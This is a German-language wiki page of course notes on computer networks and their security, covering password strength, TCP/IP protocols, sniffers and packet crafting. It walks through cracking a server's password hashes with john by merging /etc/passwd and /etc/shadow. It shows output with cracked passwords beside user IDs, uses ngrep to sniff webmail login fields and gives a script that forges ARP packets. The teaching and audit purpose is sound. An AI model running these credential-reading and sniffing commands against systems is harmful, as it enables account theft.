RechnernetzeII

Aus Debacher-Wiki
Wechseln zu:Navigation, Suche

I. Grundlagen der Vernetzung

1. Hardware-Ebene

1.1 Verkabelung

1.2. Netzwerkadapter

1.3. CSMA/CD

1.4. Hubs, Switches und Co.

2. Protokoll-Ebene

2.1. Apple Talk

2.2. Netware Protokolle

2.3. NetBEUI

2.4. TCP/IP

3. Anwendungsebene

3.1. SMTP

3.2. POP3

3.3. NNTP

3.4. Telnet

3.5. SSH

3.6. FTP

3.7. HTTP

3.8. IMAP

3.9. Was sind Ports?

3.10. Wer darf Mails abliefern?


II. Sicherheit in Computernetzen

4. Benutzer

4.1 Schwache Passwörter

4.2. Passwörter auf Client-Rechnern

5. TCP/IP-Verbindungen

5.1 Programme zur Überwachung des Datenverkehrs

5.2. Ethernet, die Netzwerkschicht

5.3. IP

5.4. ARP/RARP

5.5. ICMP

5.6. UDP

5.7. TCP

6. Rechner im Netz

6.1. OS Fingerprinting

6.2. Weitere Informationen

6.3. Nmap

7. Paketfilter zum Absichern von Rechnern

7.1. Iptables

7.2. Masquerading

7.3. Firewalling

7.4. Sicherheitsphilosophien

7.5. Ein praktisches Beispiel

7.6. Accounting Rule

7.7. Logging-Rule

7.8. Limits

8. Angiffe auf Rechner

8.1. Warum erfolgen Angriffe auf private PC?

8.2. Ausführen von eingeschleustem Code

8.3 Buffer overflows

III. Rechner im Netz – Netze im Rechner

9. Installation und Betrieb von Rechnernetzen

9.1. Emulatoren

9.2 Einrichten von vielen Rechnern

10. Anwendungen über das Netz – Remote Desktops

10.1 X11

10.2 Virtual Network Computing (VNC)

10.3 Nomachine NX

10.4 Microsofts Remote Desktop Protocol

II. Sicherheit in Computernetzen

Im Zusammenhang mit der stärkeren Vernetzung von Computern und der besseren Anbindung an das Internet spielt das Thema Sicherheit eine immer größere Rolle. Ein Rechner, der über Modem eine Stunde pro Tag ans Internet angeschlossen ist, wird einen Angreifer wenig interessieren. Wenn der gleiche Rechner aber per DSL nahezu 24 Stunden am Tag im Netz ist, dann wird er schon deut­lich in­teressanter.

Selbst wenn der Rechner selber keine interessanten Daten bietet, so lässt er sich doch als Zombie für Angriffe auf andere Rechner nutzen. Richtig interessant für einen Angriff sind die Server in Compu­ternetzen, da sie in der Regel über entsprechende Ressourcen verfügen.

Leider ist Sicherheit als Zustand im Zusammenhang mit Computern unmöglich. Ständig werden neue Fehler in den Protokollen und der Software entdeckt. Deshalb müssen alle Komponenten stän­dig ak­tualisiert werden, um bekannte Probleme zu beseitigen. Leider verlassen sich gerade die Be­sitzer von Computern mit bequemen grafischen Benutzeroberflächen auf die Versprechungen der Hersteller und unterlassen die notwendigen Updates.

Die Angriffsmöglichkeiten lassen sich folgendermaßen unterteilen.

  • Benutzer
  • Verbindung
  • Rechner


4. Benutzer

Der größte Schwachpunkt in jedem System ist der Benutzer. Er muss sich meist einen Benutzerna­men und ein Passwort merken. Die meisten Benutzer sind daher geneigt sehr einfache oder gar trivial­e Passworte zu verwenden, weil diese dann einfach zu merken sind. Wenn man die Benutzer zwingt, bessere Passworte zu verwenden, dann werden diese oft notiert und diese Notizen nicht si­cher ver­wahrt, z.B. unter der Tastatur. Der sichere Umgang mit Passworten ist kein alleiniges Com­puterthema, sondern tritt auch z.B. im Zusammenhang mit Kreditkarten auf.

Neben diesen menschlichen Schwächen gibt es auch eine Vielzahl von technischen Schwächen. Viele Systeme benötigen Passworte und legen diese „verschlüsselt“ ab. Oft ist diese Verschlüsse­lung zu schwach, dass sie leicht zu brechen ist. Böse Beispiele sind hier Windows9x und Netscape Messenger.

Generell ist jedes System unsicher, das Passwörter auf einem Client-Rechner speichert.


4.1. Schwache Passwörter

Passwörter in Unix-Systemen können normalerweise noch nicht einmal die Systemverwalter ermit­teln, weil die Passwörter nur verschlüsselt abgelegt sind. Die zugehörige Verschlüsselungsfunktion ist eine Einweg-Funktion, die kein Entschlüsseln vorsieht. Meldet sich ein Benutzer am System an, dann verschlüsselt Unix dieses Passwort und vergleicht es mit der in der Shadow-Datei abgelegten Version. Eine Entschlüsselung ist also nicht notwendig.

Es gibt trotzdem theoretisch ein einfaches Verfahren, die Passwörter zu knacken, man probiert ein­fach alle Möglichkeiten durch. Der Aufwand hierfür hängt sehr von der Passwortlänge ab, wie die folgende Tabelle zeigt. Diese Tabelle geht davon aus, dass 62 verschiedene Zeichen zur Verfügung stehen, die 26 lateinischen Buchstaben einmal klein, einmal groß und die zehn Ziffern. Weiter geht die Berech­nung davon aus, dass man 10 Millionen Kennwörter pro Sekunde überprüfen kann.

Passwortlänge Zahl der möglichen Passwörter Zeitbedarf zum Knacken
1 62 keiner
2 3844 keiner
3 238.328 keiner
4 14.776.336 1,4 Sekunden
5 916.132.832 1,5 Minuten
6 56.800.235.584 1,5 Stunden
7 3.521.614.606.208 4 Tage
8 218.340.105.584.896 8 Monate
9 13.537.086.546.263.552 43 Jahre
10 839.299.365.868.340.224 2660 Jahre

Tabelle 1: Sicherheit in Abhängigkeit von der Passwortlänge


Die Sicherheit eines Passwortes ist aber nicht nur von seiner Länge, sondern auch vom verwendeten Zeichensatz stark abhängig. Die folgende Tabelle geht von einer einheitlichen Passwortlänge von 8 Zeichen aus, wobei wieder 10 Millionen Passwörter pro Sekunde geprüft werden.

Zeichensatz Zeichenzahl Zahl der möglichen Passwörter Zeitbedarf zum Kna­cken
8-Bit ASCII 256 18.446.744.073.709.551.616 58.500 Jahre
7-Bit ASCII 128 72.057.594.037.927.936 228 Jahre
Buchstaben und Ziffern 62 218.340.105.584.896 8 Monate
Nur Buchstaben 52 53.459.728.531.456 62 Tage
Nur Kleinbuchstaben 26 208.827.064.576 6 Stunden
Wörter aus Wörterbuch - ca. 800.000 keiner

Tabelle 2: Sicherheit in Abhängigkeit vom Zeichensatz bei jeweils 8 Zeichen

Da viele Benutzer Passwörter mit deutlich weniger als acht Zeichen benutzen, gibt es eine durchaus realistische Chance, diese Passworte zu knacken. Die Chance erhöht sich noch dadurch, dass man ei­gentlich nicht alle Kombinationen durchprobieren muss. Viele Leute benutzen Namen, Telefon­nummern oder Ähnliches, einfach weil diese leichter zu merken sind.

Selbst bei einer Passwortlänge von acht Zeichen kann man daher in wenigen Minuten zum Erfolg kommen, wenn man ein Wörterbuch als Grundlage für Ihre Knackversuche nimmt.

Man kann damit zwar nicht die Passwörter aller Benutzer knacken, aber 50% innerhalb von weni­gen Minuten sind ein durchaus realistischer Wert.


Hinweis: Schon ein einzelner geknackter Zugang ist ein Sicherheitsrisiko. Wer erst einmal Zugang zum System hat, kann dort nach weiteren Schwachpunkten su­chen.

Man sollte daher regelmäßig versuchen, die Passwörter Ihrer Benutzer zu knacken, um wenigsten die unsichersten Kandidaten zu ermahnen. Beim Knacken und beim Ermahnen der Benutzer kann das Programm john helfen, das auf vielen Linux-Servern zu finden ist.

Nach der Installation liegt das Programm unter /usr/sbin/john und seine Komponenten unter

/var/lib/john/. Das Programm kann mit einem Wörterbuch arbeiten, es liefert auch eine englische Ver­sion mit. Man müsste hier erst ein deutsches Wörterbuch erstellen. Hinweise dazu finden sich im Ver­zeichnis /usr/share/doc/packages/john/.

Dieser Aufwand ist eigentlich unnötig, meist langt es sogar, mit den Daten in den Benutzerdateien zu arbeiten. Damit kann man die Passwörter knacken, die aus Namen oder Variationen davon beste­hen.

Zuerst wechselt man in das Verzeichnis /var/lib/john/.

cd  /var/lib/john

Nun soll john aus passwd und shadow eine einheitliche Datei montieren, im Beispiel heißt sie passw­d.john:

unshadow /etc/passwd /etc/shadow  >  passwd.john 

Mit den Daten aus dieser Datei lässt man john nun arbeiten, es ist erstaunlich, wieviele Pass­wörter er so ermittelt.

john -single passwd.john

Mit diesem Befehl nutzt john nur die Benutzerdatenbank als Grundlage, keines der zusätzlich ver­fügbaren Wörterbücher. Wenn bereits viele Benutzer vorhanden sind, dann dauert das Knacken schon eine Weile. Wenn man den Fortschritt kontrollieren will, drückt man einmal die Leertaste, worauf john den aktuellen Stand anzeigt.

Loaded 1037 passwords with 426 different salts (Standard DES [24/32 4K])
Burak            (bs1002)
laura            (lc1001)
sandra           (kj1002)
laura            (lt1002)
christi          (sw1002)
gast0            (gast)
ahmad-fa         (ak1005)
ann-kath         (ag1005)
wolf-die         (wm1004)
walter           (ja1001)
guesses: 10  time: 0:00:00:05 71%  c/s: 370569  trying: &tc3001& - *j5c*

Hier hat john nach knapp 5 Sekunden bereits 10 von etwa 1000 Passwörtern geknackt. Bei dem Da­tenbestand aus dem Beispiel hatte john nach knapp 2 Minuten bereits mehr als 70 Passwörter ge­knackt und das im einfachsten Modus.

Man kann john übrigens jederzeit unterbrechen, bei einem Neustart setzt er seine Arbeit an der glei­chen Stelle fort. Die bereit geknackten Passwörter hält er in der Datei john.pot fest. Falls man erneut alle Passwörter testen will, muss man diese Datei vorher löschen.

Wer sich ausführlicher mit der Dokumentation von john beschäftigt, der wird noch mehr Möglich­keiten finden, um weitere Passwörter zu knacken. Eventuell veranlasst einen die Er­fahrung ja sogar dazu, die eigenen Passwörter zu ändern. Man muss sich und auch seinen Benutzern immer wieder klar machen, dass Sicherheit kein Zustand ist, sondern ein anstrengender Prozess. Ein Baustein zu diesem Prozess ist u.a. die Wahl geeigneter Passwörter.

4.2. Passwörter auf Client-Rechnern

Rechnernetze-030.png

Viele Programme benötigen für Ihre Arbeit einen Benutzernamen und ein Passwort. Jeder E-Mail Client, ein FTP-Programm, sie alle benötigen die Daten des jeweiligen Benutzers. Um diesem die Ar­beit möglichst einfach zu machen, bieten sie an, die Passworte zu speichern. Hier ein Dialogfenst­er, in dem der MS Internet-Explorer anbie­tet die Anmeldedaten für eine geschützte Web­site zu speichern. Kaum jemand macht sich ernst­haft Gedanken darüber, was mit diesen Da­ten geschieht. Sicherlich wird der Internet-Ex­plorer diese Daten irgendwie in einem nicht les­baren Format abspeichern. Sicher könnten die Daten aber nur abgelegt werden, wenn sie über ein zu­sätzliches Passwort des Benut­zers ver­schlüsselt werden. Was die Software so ma­chen kann, ist keine sichere Verschlüsse­lung, da ja Verfahren und Passwort zum Entschlüss­eln dem Pro­gramm bekannt sind. Jeder Benutzer, der Zu­griff auf den Rechner hat kann diese Daten nutzen.

Einen ähnlichen „Service“ bieten die meisten FTP- und Mailprogramme. Manche Programme legen das Passwort sogar dann ab, wenn der Benutzer dies nicht wünscht.

5. TCP/IP-Verbindungen

Im Prinzip gibt es für die Vernetzung von Computern eine Vielzahl von sehr unterschiedlichen Pro­tokollen. In den letzten Jahren hat sich aber die Protokollfamilie TCP/IP als Standard durchgesetzt, im Zusammenhang mit dem Siegeszug des Internet. Jede Datenübertragung ist ein Risiko, wenn die Möglichkeit besteht, den Datenstrom zu belauschen. Bei TCP/IP ist das Risiko recht hoch, da es für sehr große, z.T. weltweite Netze ausgelegt ist und der Nutzer kaum den Weg seiner Daten beein­flussen kann bzw. ihn meistens noch nicht einmal kennt.

Der Aufbau der TCP/IP-Protokoll-Familie entspricht nicht ganz dem OSI-Modell, es sind hier eini­ge Ebenen zusammengefasst.


Layer 7
Anwendung
Layer 6
Darstellung
Layer 5
Session/Kommunikation
Anwendungs-Schicht
Firefox, Apache, ...
Layer 4
Transport
Transport-Schicht
TCP, UDP
Layer 3
Netzwerk/Vermittlung
Internet-Schicht
ICMP, IP, ARP, RARP
Layer 2
Sicherung/Daten Link
Netzwerkschicht
Ethernet, Wählleitungen, ...
Layer 1
Bitübertragung

Zur eigentlichen Protokoll-Familie gehören:

TCP 
Das Transmission Control Protocol ist das bekannteste Protokoll auf dieser Ebene. Es setzt auf IP auf und ist verbindungsorientiert. Bevor mit der eigentlichen Datenübertragung begonnen wird, wird zunächst eine Verbindung zum Empfänger aufgebaut. Dann erst werden die Datenpa­kete ab­geschickt und vom Empfänger quittiert. Bleibt diese Empfangsbestätigung aus, so wird das ent­sprechende Paket erneut versandt. Hierdurch wird sichergestellt, dass die Datenpakete in der richti­gen Reihenfolge und vollständig beim Empfänger ankommen. Die Reihenfolge kann beim Versand verändert werden, da IP sich für jedes Paket einen anderen Weg durchs Netz su­chen kann, mit eventuell unterschiedlichen Laufzeiten.

Rechnernetze-031.png

UDP 
Beim User Datagramm Protocol handelt es sich um ein verbindungsloses Protokoll. Es dienst zum Übertragen von kurzen Nachrichten. Eine Nameserver-Anfrage gehört zu den Dingen, die über UDP abgewickelt werden. Wenn keine Antwort kommt, dann wird einfache eine neue An­frage ge­stellt, eventuell an einen anderen Nameserver. Auch Streaming-Video und Netzwerkspiel­e arbeiten oft mit UDP, dabei geht es vor allem um die höhere Performance. Au­ßerdem ist es hier nicht weiter tragisch bzw. sowieso nicht reparabel, wenn ein Datenpaket verlo­ren ist.
IP 
Grundlage ist das Protokoll Internet Protocol. Es handelt sich hierbei um ein verbindungsloses Pro­tokoll, das keinerlei Mechanismen zur Sicherung der Datenübertragung enthält.Zu den Aufgaben von IP gehört die Adressierung der Datenpakete. Dazu dient die IP-Adresse, die aus einer 4-Byte-Zahl besteht und auf die in einem gesonderten Kapitel eingegangen wird. Eine wei­tere Aufgabe von IP ist das Aufteilen der Daten in Pakete, die von der darunter liegen­den Schicht (z.B. Ethernet) übertragen werden können, sowie das korrekte Zusammensetzen der übertragenen Pakete beim Empfänger.
ICMP 
Das Internet Control Message Protocol dient zum Transport von Fehler- und Diagnosemeldung­en im Netz. Versucht ein Rechner auf einen Port zuzugreifen, der nicht belegt ist, so wird die Fehler­meldung „Port unreachable“ per ICMP zurückgeschickt. Auch Routing-Informationen und der be­kannte Ping werden über ICMP weitergeleitet.
ARP 
Über das Address Resolution Protocol erfolgt die Zuordnung zwischen MAC-Adresse und IP.
RARP 
Das Reverse Address Resolution Protocol dient dazu, zu einer MAC-Adresse die zugehörige IP-Adresse zu ermitteln.

Das Zusammenspiel der einzelnen Protokolle ergibt sich aus der folgenden Abbildung.

Rechnernetze-032.png

Die Protokolle ARP und RARP passen eigentlich nicht auf die gleiche Ebene wie IP und ICMP, da sie von diesen benötigt werden. Manche Darstellungen legen sie zwischen Netzwerkschicht und In­ternet-Schicht.

Beim Durchlaufen des Protokollstapels in Richtung Netzwerk-Schicht werden die Datenpakete im­mer größer, da jedes Protokoll einen spezifischen Header hinzufügt.

Rechnernetze-033.png


5.1. Programme zur Überwachung des Datenverkehrs

Für eine eingehende Beschäftigung mit der TCP/IP Protokollfamilie benötigt man Tools bzw. Pro­gramme zur Erzeugung von Datenpaketen und Programme zu Anzeige bzw. Filterung von Datenpa­keten (Sniffer).


5.1.1. TCPDUMP

Dieses Programm ist eines der bekanntesten Snifferprogramme und wird bei den meisten Linux-Dis­tributionen mit ausgeliefert. Die Möglichkeiten von tcpdump sind sehr umfangreich, deshalb hier nur ein paar mögliche Anwen­dungen:

tcpdump -i eth0 'ether proto \arp'

protokolliert alle Datenpakete auf dem Interface eth0, mit dem Protokoll arp. Tcpdump gibt die Pa­kete nicht einfach so aus, wie sie übers Netz kommen, sondern interpretiert sie.

12:41:07.640057 arp who-has boss.hsan.hh.schule.de (28:ca:4:8:1d:0) tell hh1-2.hsan.hh.schule.de
12:41:07.773440 arp reply boss.hsan.hh.schule.de is-at 0:0:e2:18:7c:bd

Will man die Pakete als solche auswerten, so macht es Sinn diese in eine Datei zu leiten, da nicht alle Zeichen darstellbar sein dürften.

tcpdump -i eth0 -w sniff.txt 'ether proto \arp'

Leitet die Pakete in die Datei sniff.txt um. Diese Datei kann man dann mit einem beliebigen Hex-Edi­tor betrachten. Ein dafür vollkommen ausreichendes Werkzeug dafür ist der mc, der Midnight Com­mander. Dort führt man den Leuchtbalken auf die Datei sniff.txt und drückt F3 (Anzeige). In­nerhalb des Anzeige-Programmes kann man dann mit F4 in den Hex-Modus umschalten, was fol­gende Dar­stellung ergibt.

Rechnernetze-034.png

Tcpdump kann auch eine Aufzeichnung interpretieren, zur Angabe des Dateinamens dient dann der Schalter -r.

    tcpdump  -X  -n  -r sniff.txt

Der Schalter -X bewirkt, dass sowohl die interpretierten Daten, als auch die rohen Daten angezeigt werden. Mit -n wird die Namensauflösung unterdrückt, so dass Tcpdump nur IP-Adressen anzeigt und nicht die Namen.

07:44:46.526170 arp who-has 192.168.1.56 tell 192.168.1.1
0x0000   0001 0800 0604 0001 0000 e218 7cbd c0a8        ............|...
0x0010   0101 0000 0000 0000 c0a8 0138                  ...........8
07:44:46.526349 arp reply 192.168.1.56 is-at 0:50:bf:58:56:fd
0x0000   0001 0800 0604 0002 0050 bf58 56fd c0a8        .........P.XV...
0x0010   0138 0000 e218 7cbd c0a8 0101 2020 2020        .8....|.........
0x0020   2020 2020 2020 2020 2020 2020 2020             ..............

Das Programm erlaubt eine sehr einfache Analyse der Daten auf dem Netzwerk


5.1.2.Wireshark (bzw. ethereal)

Die Arbeit mit tcpdump ist sehr nützlich, gelegentlich aber auch etwas mühsam. Deutlich einfacher wird die Arbeit mit dem grafischen Frontend wireshark. Das Programm benötigt natürlich root-Rech­te, weswegen es unter z.B. KDE am einfachsten über

kdesu  wireshark

aufgerufen wird über den Menüpunkt Befehl ausführen, oder aus einer Shell heraus.

Rechnernetze-035.png

Die wichtigsten Einstellungen nimmt man im Menü Capture -> Start vor. Hier geht es um etwa die glei­chen Angaben wie bei tcpdump. Wichtig ist hier aber noch der Schalter Update list of packets in real time. Damit kann man erreichen, das die Datenpaket­e schon während des Sniffens aktuell angezeigt wer­den. An­sonsten würde dies erst beim Beenden des Programms erfolgen.

Rechnernetze-036.png

Im oberen Teil des Fensters sieht man die von tcp­dump bekannte Inter­pretation der Daten. Im mittle­ren Bereich eine Zuordnung zur Pakete­bene und im unteren Teil die Rohdaten. Klick man im mittleren Teil eine Zeile an, dann werden unten die zugehörig­en Datenbytes markiert.


5.1.3. ngrep

Es gibt viele mit tcpdump ähnliche Programme unter Linux, wie z.B. ngrep ein Sniffer-Programm mit Suchmustern wie bei grep. Dieses Programm ist bei der SuSE-Distribution dabei. Ein typischer Auf­ruf sieht folgendermaßen aus:

    ngrep -d eth0 -i "rv_uname | rv_passwd"

Mit diesem Aufruf sucht ngrep in den Datenpaketen auf eth0 nach den Schlüsselwörtern rv_uname bzw. rv_passwd, die bei der Webmail-Anmeldung von Web.de auftauchen. Ngrep zeigt dann nur Da­tenpakete mit Treffern an.


5.1.4. Spak

Das Programmpaket Spak dient dazu, Datenpakete nach Wunsch zu erzeugen. Das Programm ist inzwischen etwas überholt und die ursprüngliche Seite nicht mehr erreichbar, die Quellen von ftp://sunsite.unc.edu/pub/Linux/system/network/misc/spak-0.6b.tar.gz ließen sich bei mir nicht compilieren, es gibt aber ein rpm-Pa­ket über http://www.filewatcher.com/m/spak-0.6b-1.i386.rpm.52586.0.0.html, das auch auf aktuellen Syste­men zu installieren ist. Das Paket besteht aus den einzelnen Programmen (jeweils im Ver­zeichnis /usr/bin):

  • sendpacket, sendeth
  • makeudp, maketcp
  • makeip, makeeth, makearp

Für jedes der Programme bekommt man eine kurze Anleitung, wenn man es mit dem Schalter -h auf­ruft. Eine weitere Informationsquelle findet sich unter /usr/doc/spak-0.6b/README.

Die Programme arbeiten jeweils nur auf einer der Protokollebenen. Zum gezielten Versenden eines Datenpaketes muss man immer mehrere der Programme nacheinander aufrufen, wie in dem folgend­en Beispiel.

#!/bin/sh
#File   : arp
#Purpose: Create and send an ARP request.

#Location of programs used
MAKEETH=/usr/bin/makeeth
MAKEARP=/usr/bin/makearp
SENDETH=/usr/bin/sendeth

SRC=192.168.1.2
DST=192.168.1.1
SRC_MAC=00:20:AF:F7:56:42

$MAKEARP -op 1 -di $DST -si $SRC -sm $SRC_MAC | 
        $MAKEETH -s $SRC_MAC -i - -t 0x806 | $SENDETH -i -

Hier wird zuerst ein ARP-Paket erzeugt. Der Schalter -op 1 legt fest, dass es sich um ein ARP-Re­quest handelt, -sm die MAC-Adresse der Quelle, -di die gesuchte IP-Adresse und -si die IP-Adresse des Absenders.

Das ARP-Paket wird jetzt noch in einen Ethernetframe verpackt, hier gibt -s die MAC-Adresse des Absenders an, -t den Ethernet-Typ und -i legt fest, aus welcher Datei die Eingabedaten genommen werden. Steht hier statt eines Dateinamens nur „-„, dann wird die Standardeingabe benutzt.

Zuletzt geht das Datenpaket an das Programm sendeth, was für den eigentlichen Versand zuständig ist. Auch hier legt -i die Eingabedatei fest. Für sendeth sind noch die Schalter -v und -vv interessant, die Informationen über das verschickte Datenpaket an der Konsole ausgeben.

Für ein normales Datenpaket ist der Ablauf:

Datei mit Daten -> maketcp -> makeip -> sendpacket

Damit steht der Konstruktion (nahezu) beliebiger Datenpakete nichts mehr im Weg.

5.2. Ethernet, die Netzwerkschicht

Grundlage für die meisten Netzwerke dürfte Ethernet sein, da die zugehörigen Komponenten sehr preiswert sind und sehr hohe Datenübertragungsraten erlauben. Jedes aktive Netzwerkgerät im Ether­net verfügt über eine individuelle MAC-Adresse. Bei der MAC-Adresse (Media Access Con­trol) einer Netzwerkkarte handelt es sich um eine fest eingebrannte 6-Byte lange Zahl, die meistens hexadezimal mit Trennzeichen angegeben wird:

00:00:B4:39:05:66

Die ersten drei Bytes geben den Hersteller an, in diesem Fall die Firma Edimax (00:00:B4), die letz­ten drei Bytes werden vom jeweiligen Hersteller fortlaufend vergeben. Mit diesem System ist ge­währleistet, dass die MAC-Adresse jeweils weltweit eindeutig bleibt.


5.2.1. Ethernetframe

Zum Versand werden alle Datenpakete in Ethernet-Frames verpackt, um dann über die Leitung ver­sandt zu werden.

Rechnernetze-037.png

Die Felder haben folgende Bedeutung:

Zieladresse (6 Byte) 
MAC-Adresse des Empfängers
Quelladresse (6 Byte) 
MAC-Adresse des Senders
Type (2 Byte) 
  • 0800 IP-Protokoll
  • 0806 ARP-Protokoll
Daten (variabel) 
die eigentlichen Daten mit mindestens 46 Byte und höchstens 1500 Byte.
CRC (4Byte) 
Eine Prüfsumme, Cyclic Redundancy Check, über das gesamte Datenpaket. Ein Paket mit fehler­hafter Prüfsumme wird immer verworfen.

5.3. IP

Das Internet Protokoll (IP) packt den Datenstrom, den es aus der Transportschicht bekommt in neue Pakete, die aber mit den logischen IP-Adressen versehen sind, statt mit den physikalischen Netz­adressen. Die interne Struktur eines solchen Datagramms (Paketes) ist in der folgenden Graphik dar­gestellt.

Rechnernetze-038.png

Die Felder haben folgende Bedeutung:

Version (4Bit) 
  • 4 bei IPv4
  • 6 bei IPv6
Länge des Headers (4 Bit) 
Länge des IP-Headers in 32 Bit-Worten. Falls keine Optionen gesetzt sind, ist der Wert 5, ansonsten entsprechend mehr. Der Wert kann maximal 15 betragen, dann hat der Header eine Länge von 60 Byte.
Type of Service TOS (8 Bit) 
Flags zur Steuerung der Zuverlässigkeit und der Priorität. Hier sind hier verschiedene Kom­binationen aus Zuverlässigkeit und Geschwindigkeit möglich. In der Praxis wird dieses Feld aber ignoriert, hat also den Wert 0. Das Feld selbst hat den folgenden Aufbau:

Rechnernetze-039.png

Precedence (Bits 0-2) 
gibt die Priorität von 0 (normal) bis 7 (Steuerungspaket) an. Die drei Flags (D,T,R) ermöglichen es dem Absender anzugeben, worauf er bei der Datenübertra­gung am meisten Wert legt: Verzögerung (Delay - D), Durchsatz (Throughput - T), Zuverlässigk­eit (Reliability - R). Die beiden anderen Bits sind reserviert bzw. nicht benutzt.
Gesamtlänge (16 Bit) 
Gesamte Länge des Paketes in Byte, inklusive Header und Daten. Die Paketgröße ist damit auf 65535 Bytes beschränkt. Das ist weit über der üblichen Paketgröße, 576 Byte muss jedes Sys­tem verkraften, üblich sind 1500 Byte im Ethernet.
Identifikation (16 Bit) 
Jedes Datenpaket trägt eine eindeutige Identifikationsnummer, über die der Empfänger fest­stellen kann, welche Datenpakete zusammen gehören. Unter Fragmentierung von Datagram­men ist zu verstehen, dass einzelne Datagramme, die durch Gateways in unterschiedliche Net­ze geroutet werden, dort oft unterschiedlichen Größenbestimmungen unterliegen. IP frag­mentiert solche Datagramme und baut sie wieder zusammen. Fragmente eines Datagrammes tragen alle die gleiche Identifikationsnummer.
Flags (3Bit) 
Diese Bits dienen zur Steuerung der Fragmentierung:
  • Bit1 unbenutzt
  • Bit2 DF Mit dem DF-Bit wird signalisiert, dass das Datagramm nicht fragmentiert werden darf. Auch dann nicht, wenn das Paket dann evtl. nicht mehr weiter transportiert werden kann und verworfen werden muss. Alle Hosts müssen, mindestens Fragemente bzw. Datengramme mit einer Größe von 576 Bytes oder weniger verarbeiten können
  • Bit3 MF Mit dem MF-Bit wird angezeigt, ob einem IP-Paket weitere Teilpa­kete nach­folgen. Dieses Bit ist bei allen Fragmenten außer dem letzten ge­setzt.
Fragment Offset (13 Bit) 
Dieses Feld enthält die Information, an welcher Stelle des Datagrammes das Fragment ur­sprünglich war. Mit Hilfe dieser Angabe kann der Zielrechner das Datenpaket wieder aus den Fragmenten zusammensetzen. Da dieses Feld nur 13 Bit groß ist, können maximal 8192 Frag­mente pro Datengramm erstellt werden. Alle Fragmente, außer dem letzten, müssen ein Viel­faches von 8 Byte als Länge besitzen.
Lebenszeit (8Bit) 
Die Lebenszeit oder Time to live (TTL) gibt eine maximale Lebendauer in Sekunden für ein Datenpaket vor. Bei Routing-Problemen könnte ein Paket sonst endlos im Netz herumwan­dern. So wird es spätestens nach 255 Stationen verworfen, da jeder Router dieses Feld um mindestens eine Einheit verringert.
Protokoll (8Bit) 
Gibt die Nummer des Protokolls auf der Transportschicht an. Die Zahlen sind auf Unix-Syst­emen in der Datei /etc/protocols zu finden, u.a.
  • 1 ICMP
  • 6 TCP
  • 17 UDP
Kopf-Prüfsumme (16 Bit) 
Prüfsumme über den Inhalt des Headers, nicht der Daten. Die Prüfsumme muss in jedem Netz­knoten neu berechnet werden, das sich jeweils die TTL verringert. Berechnet wird das 1er Komplement über die 16 Bit-Wörter. Ausgangswert ist Null.
Quelladresse (32 Bit) 
IP-Adresse des Absenders
Zieladresse (32 Bit) 
IP-Adresse des Empfängers
Optionen und Füllung (variabel) 
Über dieses Feld ist der IP-Header erweiterbar gehalten worden. Das Feld besitzt eine variable Länge und wird durch die Füllung auf ein Vielfaches von 4 Byte aufgefüllt. Die bisher üblichen Optionen haben meist mit Debugging und Routenüberprüfung zu tun.


5.3.1. TTL und Betriebssystem

Die TTL eines Datenpaketes lässt gewisse Rückschlüsse auf das Betriebssystem des sendenden Rech­ners zu, wobei sich die Werte teilweise sogar zwischen TCP und UDP unterscheiden:

Betriebssystem-Version
TTL-TCP
TTL-UDP
Linux
64
64
FreeBSD
64
64
AIX
60
30
Wind95
32
32
WindNT 4/WindXP
128
128
Solaris
255
255
MacOS
60
60
MacOS X

Bei manchen Systemen, wie z.B. Linux, ist die TTL relativ fest im Quelltext des Betriebssystems ein­getragen. Bei Wind95 dagegen ist der Wert über die Registry veränderbar. Dazu startet man das Pro­gramm regedit.exe und geht dann zum Schlüssel Hkey_Local_Machine\System\CurrentControl­Set\Services\VxD\MSTCP. Dort wählt man Bearbeiten und im Auswahlmenü Neu und legt folgende Schlüssel an:

binary value:  DefaultTTL  01 00 00 00
string format: DefaultTTL  64 

Nach einem Neustart des Rechners ist die TTL dann auf 64 erhöht.

5.3.2IP-Adressbereiche

Die klassischen IP-Adressen bestehen aus 32-Bit-Zahlen, die üblicherweise im dotted quad Format dargestellt werden. Die IP-Adresse 195.37.209.130 ist auf folgende Arten darstellbar:

  • dotted quad: 195.37.209.130
  • Dezimal-Zahl: 3274035586
  • Binär-Zahl: 1100 0011 0010 0101 1101 0001 1000 0010
  • Hexadezimal-Zahl: C325D182

In manchen Browsern, z.B. Opera kann man eine IP-Adresse auch in der Dezimalzahl-Darstellung eingeben.

Bei der IP-Adresse unterscheidet man üblicherweise zwei Teile, den Netzwerkteil und den Hostteil. Alle Rechner, bei denen der Netzwerkteil der Adresse übereinstimmt, liegen im gleichen Netzwerk. Hinsichtlich der Aufteilung zwischen Netzwerk- und Hostteil unterscheidet man verschiedene Klas­sen von Netzwerken:

  • Class Aerstes Quad Netzwerk, drei Quads Host
  • Class Bzwei Quads Netzwerk, zwei Quads Host
  • Class Cdrei Quads Netzwerk, ein Quad Host

Es gibt also nur ganz wenige Class A Netze, die aber jeweils über sehr viele Hosts verfügen können, aber sehr viele Class C Netze, mit jeweils maximal 254 Hosts.

Es kann ganz interessant sein zu erfragen, wem eines der wenigen Class A Netze gehört, zumal man­che dieser Netze auch noch weiter aufgeteilt sind.

Den Eigentümer einer IP-Adresse kann man unter Linux mit dem Kommando whois abfragen.

whois 13.0.0.0

liefert die Antwort:

OrgName:    Xerox Palo Alto Research Center
OrgID:      XPARC
Address:    3333 Coyote Hill Road
City:       Palo Alto
StateProv:  CA
PostalCode: 94304
Country:    US

NetRange:   13.0.0.0 - 13.255.255.255
CIDR:       13.0.0.0/8
NetName:    XEROX-NET
NetHandle:  NET-13-0-0-0-1
...

Ein paar der Zuordnungen, angegeben jeweils nur das erste quad:

15 Hewlett-Packard Company
16 Digital Equipment Corporation
17 Apple Computer, Inc.
18 Massachusetts Institute of Technology
19 Ford Motor Company
...
53 cap debis ccs c/o Mercedes Benz AG

Es ist ein sehr erlauchter Kreis von Firmen, die eine der Adressen ergattern konnten.

Die Zahl der wirklich vorhandenen Class A Netze sinkt noch dadurch, dass viele der Bereiche noch in Subnetze aufgeteilt wurden. Die Deutsche Telekom z.B. verfügt über einen kleinen Teil des 80.x.y.z Netzes, nämlich den Bereich 80.128.0.0 – 80.146.159.255.

Da der Adressbereich für alle drei Netzwerkklassen gleich ist, unterscheiden sich die Klassen schon im Wert des ersten Quad.

     Bit-->0                              31        Adress Bereich:
           +-+----------------------------+
           |0|       Class A Adresse      |       0.0.0.0 - 127.255.255.255
           +-+----------------------------+
           +-+-+--------------------------+
           |1 0|     Class B Adresse      |     128.0.0.0 - 191.255.255.255
           +-+-+--------------------------+
           +-+-+-+------------------------+
